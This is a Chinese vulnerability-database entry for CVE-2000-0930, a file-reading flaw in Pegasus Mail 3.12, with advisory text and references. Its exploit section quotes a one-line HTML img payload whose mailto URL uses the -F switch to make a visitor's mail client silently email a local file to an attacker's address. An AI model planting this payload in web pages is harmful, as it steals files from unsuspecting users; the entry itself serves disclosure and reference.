Pegasus Mail读取任意文件漏洞

漏洞ID	1106026	漏洞类型	未知
发布时间	2000-10-03	更新时间	2005-05-02
CVE编号	CVE-2000-0930	CNNVD-ID	CNNVD-200012-151
漏洞平台	Windows	CVSS评分	5.0

|漏洞来源

https://www.exploit-db.com/exploits/20249
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200012-151

|漏洞详情

PegasusMail3.12版本存在漏洞。远程攻击者借助调用mailto的嵌入URL：A-F协议交换机读取任意文件。

|漏洞EXP

source: http://www.securityfocus.com/bid/1738/info

It is possible for a malicious website operator to obtain copies of known files on a remote system if a website visitor is running Pegasus Mail client.

If the following code were to be inserted into a HTML document and a user were to load that particular webpage, the local file would be automatically sent from the Pegasus Mail client to the email address specified without any prior warning:

<img sr c="mailto:[email protected] -F c:pathfile.ext">

|参考资料

来源:BID
名称:1738
链接:http://www.securityfocus.com/bid/1738
来源:XF
名称:pegasus-file-forwarding
链接:http://xforce.iss.net/static/5326.php
来源:BUGTRAQ
名称:20001030PegasusMailfilereadingvulnerability
链接:http://archives.neohapsis.com/archives/bugtraq/2000-10/0436.html
来源:BUGTRAQ
名称:20001003Pegasusmailfilereadingvulnerability
链接:http://archives.neohapsis.com/archives/bugtraq/2000-10/0039.html

相关推荐: PHPNuke Search Form Cross-Site Scripting Vulnerability

PHPNuke Search Form Cross-Site Scripting Vulnerability 漏洞ID 1101506 漏洞类型 Input Validation Error 发布时间 2002-09-24 更新时间 2002-09-24 CV…